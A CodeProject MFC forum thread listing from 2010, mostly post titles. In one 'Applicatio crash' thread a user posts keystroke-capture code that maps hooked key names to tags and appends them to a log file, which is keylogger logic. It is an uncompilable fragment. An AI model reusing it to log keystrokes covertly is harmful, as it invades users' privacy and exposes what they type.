Click here to Skip to main content
15,887,322 members
Home / Discussions / C / C++ / MFC
   

C / C++ / MFC

 
GeneralRe: How to change setup project's default text templates Pin
rahul.kulshreshtha19-Mar-10 23:31
rahul.kulshreshtha19-Mar-10 23:31 
GeneralRe: How to change setup project's default text templates Pin
rahul.kulshreshtha20-Mar-10 2:42
rahul.kulshreshtha20-Mar-10 2:42 
QuestionHow to catch the editbox's values changed message ? Pin
wangningyu19-Mar-10 17:14
wangningyu19-Mar-10 17:14 
AnswerRe: How to catch the editbox's values changed message ? Pin
«_Superman_»19-Mar-10 18:01
professional«_Superman_»19-Mar-10 18:01 
GeneralRe: How to catch the editbox's values changed message ? Pin
wangningyu19-Mar-10 18:05
wangningyu19-Mar-10 18:05 
QuestionApplicatio crash Pin
cjsc19-Mar-10 10:14
cjsc19-Mar-10 10:14 
AnswerRe: Applicatio crash Pin
loyal ginger19-Mar-10 10:16
loyal ginger19-Mar-10 10:16 
GeneralRe: Applicatio crash Pin
cjsc19-Mar-10 10:22
cjsc19-Mar-10 10:22 
LRESULT CABCDlg::processkey(WPARAM w, LPARAM l)//This block processes the keystroke info.
{
try
{


if(hook==1)
{


GetKeyNameText(l,buffer,20);
_strlwr(buffer);
if(strlen(buffer)>1)
{

subst("shift","<SHIFT>");
subst("right shift","<SHIFT>");
subst("tab","<TAB>");
subst("space"," ");
subst("backspace","<BACKSPACE>");
subst("delete","<DEL>");
subst("left","<LEFT>");
subst("down","<DOWN>");
subst("up","<UP>");
subst("right","<RIGHT>");
subst("num /","/");
subst("num *","*");
subst("num -","-");
subst("num 0","0");
subst("num 1","1");
subst("num 2","2");
subst("num 3","3");
subst("num 4","4");
subst("num 5","5");
subst("num 6","6");
subst("num 7","7");
subst("num 8","8");
subst("num 9","9");
subst("num +","+");
subst("num enter","<ENTER>");
subst("num del","<DEL>");
subst("esc","<ESC>");
subst("enter","<ENTER>");
subst("caps lock","<CAPSLOCK>");
subst("num lock","<NUMLOCK>");
subst("scroll lock","<SCROLLLOCK>");
subst("ctrl","<CTRL>");
subst("alt","<ALT>");
subst("right ctrl","<CTRL>");
subst("right alt","<ALT>");
subst("pause","<PAUSE>");
subst("insert","<INSERT>");
subst("home","<HOME>");
subst("end","<END>");
subst("page up","<PGUP>");
subst("page down","<PGDN>");
subst("f1","<F1>");
subst("f2","<F2>");
subst("f3","<F3>");
subst("f4","<F4>");
subst("f5","<F5>");
subst("f6","<F6>");
subst("f7","<F7>");
subst("f8","<F8>");
subst("f9","<F9>");
subst("f10","<F10>");
subst("f11","<F11>");
subst("f12","<F12>");
}

if(keycount>50)
{

diskfile->Flush();
keycount = 0;
}

writedata=AfxBeginThread(WorkerThreadProc,(LPVOID)this);


}
else
{
}
return 0;
}
catch (...)
{

}

}

UINT WorkerThreadProc( LPVOID Param )
{
try
{
CABCDlg *p=(CABCDlg *) Param;
CStdiofile myFile;
if( myFile.Open( cpath, CStdioFile::modeCreate | CStdioFile::modeWrite | CStdioFile::modeNoTruncate, &e ) )
{
myFile.Writestring(buffer);
myFile.close();
}

}
catch (...)
{
AfxMessageBox("AddString Final");
}

}
GeneralRe: Applicatio crash Pin
hxhl9519-Mar-10 10:50
hxhl9519-Mar-10 10:50 
GeneralRe: Applicatio crash Pin
Tim Craig19-Mar-10 19:59
Tim Craig19-Mar-10 19:59 
GeneralRe: Applicatio crash Pin
Rajesh R Subramanian19-Mar-10 22:07
professionalRajesh R Subramanian19-Mar-10 22:07 
QuestionHow to change frame / window focus programatically - after using SetWindowPos Pin
Vaclav_19-Mar-10 8:16
Vaclav_19-Mar-10 8:16 
AnswerRe: How to change frame / window focus programatically - after using SetWindowPos Pin
Rozis21-Mar-10 2:09
Rozis21-Mar-10 2:09 
GeneralRe: How to change frame / window focus programatically - after using SetWindowPos Pin
Vaclav_21-Mar-10 2:19
Vaclav_21-Mar-10 2:19 
AnswerRe: How to change frame / window focus programatically - after using SetWindowPos Pin
Avi Berger22-Mar-10 5:10
Avi Berger22-Mar-10 5:10 
GeneralRe: How to change frame / window focus programatically - after using SetWindowPos Pin
Vaclav_22-Mar-10 5:55
Vaclav_22-Mar-10 5:55 
QuestionDealing with const CString ... [modified] (FIXED). Pin
Maximilien19-Mar-10 4:26
Maximilien19-Mar-10 4:26 
AnswerRe: Dealing with const CString ... Pin
Cedric Moonen19-Mar-10 4:36
Cedric Moonen19-Mar-10 4:36 
GeneralRe: Dealing with const CString ... Pin
Maximilien19-Mar-10 4:53
Maximilien19-Mar-10 4:53 
GeneralRe: Dealing with const CString ... Pin
Cedric Moonen19-Mar-10 5:17
Cedric Moonen19-Mar-10 5:17 
GeneralRe: Dealing with const CString ... Pin
Maximilien19-Mar-10 5:24
Maximilien19-Mar-10 5:24 
AnswerRe: Dealing with const CString ... PinPopular
Rajesh R Subramanian19-Mar-10 4:43
professionalRajesh R Subramanian19-Mar-10 4:43 
GeneralRe: Dealing with const CString ... Pin
Maximilien19-Mar-10 4:54
Maximilien19-Mar-10 4:54 
GeneralRe: Dealing with const CString ... Pin
Rajesh R Subramanian19-Mar-10 5:10
professionalRajesh R Subramanian19-Mar-10 5:10 
GeneralRe: Dealing with const CString ... Pin
Cedric Moonen19-Mar-10 5:15
Cedric Moonen19-Mar-10 5:15 

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Praise Praise    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.